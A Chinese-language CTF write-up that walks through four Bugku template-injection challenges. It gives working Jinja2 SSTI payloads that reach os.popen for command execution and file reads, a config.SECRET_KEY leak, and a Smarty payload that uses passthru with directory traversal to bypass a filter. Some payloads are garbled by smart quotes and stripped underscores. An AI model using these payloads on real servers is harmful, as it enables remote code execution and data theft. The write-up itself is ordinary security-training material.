Bugku 模板注入做题
Simple_SSTI_1
打开场景,页面只显示了一句话,意为:您需要传入一个名为flag的参数。
现在知道传入参数,但是不知道参数 flag 的值是多少。
尝试传入,发现后面的值会在页面上执行出来。
F12 打开源代码,看到有一行注释。大概意思是会设置一个 secret_key 变量。
大概 flag 就在这个文件中。
这里涉及的知识点是服务端模板注入,先对 SSTI 进行了一些学习:
可以用{{config}}获取当前设置,构造 payload:
?flag={{config.SECRET_KEY}}
得到 flag 。
———
——
Simple_SSTI_2
打开场景,和前面那题一样,也是出现那句话,不同的是,这题源代码中没有提示,也不知道注入点。
这里抱着尝试的心态 url 中插入 flag 参数,结果有效,猜对了。
据了解可以直接用工具 tqlmap 扫描出可注入点。
用错误的语句根据报错可以得到模板的版本,从而可以确定语句的使用规则。
jinja2是python 的一个模板,收集了两条可以用的语句:
命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('这里输入命令').read()") }}{% endif %}{% endfor %}
文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('在这里输入文件名', 'r').read() }}{% endif %}{% endfor %}
这里直接使用 ls 命令:
?flag={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}
看到有一个 flag 文件
接着直接读取文件:
{% for c in [].class.base.subclasses() %}{% if c.name==‘catch_warnings’ %}{{ c.init.globals[‘builtins’].open(‘flag’, ‘r’).read() }}{% endif %}{% endfor %}
得到 flag 。
——
——
Flask_FileUpload
和前面一样,也是关于模板的题目。
打开场景,是一个文件上传的场景,并且源码中提示文件后缀必须为 .jpg 和 .png 。
源码的注释中还提示 上传的文件会用python执行。
那就创建一个文本,后缀改为 .jpg 。
用记事本打开,在里面写入语句(语句来自查找)。system函数可以将字符串转化成命令在服务器上运行。
上传后得到 flag 。
——
——
聪明的php
打开场景,只有一句话。意为传递一个参数并且 flag 的文件名可能是随机的。
尝试随便传入一个参数,结果得到一段 php 代码。
这个参数不一定是我这个 ,随机都有效果。
并且我们输入的内容在最底下可以显示。
根据源码,得知是有关 Smarty 模板注入的题。
尝试传入:
?flag={{2*3}}
成功回显。
准备构造语句,源码中显示过滤了很多函数,像 system 、cat、eval 等都不能使用。
先用 ls 命令查看目录中的文件,但是没有发现有效的信息。
本来想尝试查看每一个文件内容找到 flag 。(查看文件命令在后面)
但是源码显示应该是有一个文件名被过滤掉了,就是那个 template.html ,估计 flag 就在这里面,其他文件经过查看无 flag 。
PHP提供了4种方法执行系统外部命令:
exec()、passthru()、system()、shell_exec()。
字符 exec、system 都被过滤了。
所有这里用 passthru 函数代替 system ,再用 more 代替 cat 使用。
然后也不知道 flag 到底在什么位置,直接用目录遍历的方法读取文件。
也不知道读什么文件,使用通配符,把所有文件内容都读取出来。
构造:
?flag={passthru(‘more …/…/…/?*’)}
得到 flag 。
附:
一些 Linux 命令:
ls 查看目录中的文件 。
cat file1 从第一个字节开始正向查看文件的内容
more file1 查看一个长文件的内容
less file1 类似于 ‘more’ 命令,但是它允许在文件中和正向操作一样的反向操作
head -2 file1 查看一个文件的前两行
tail -2 file1 查看一个文件的最后两行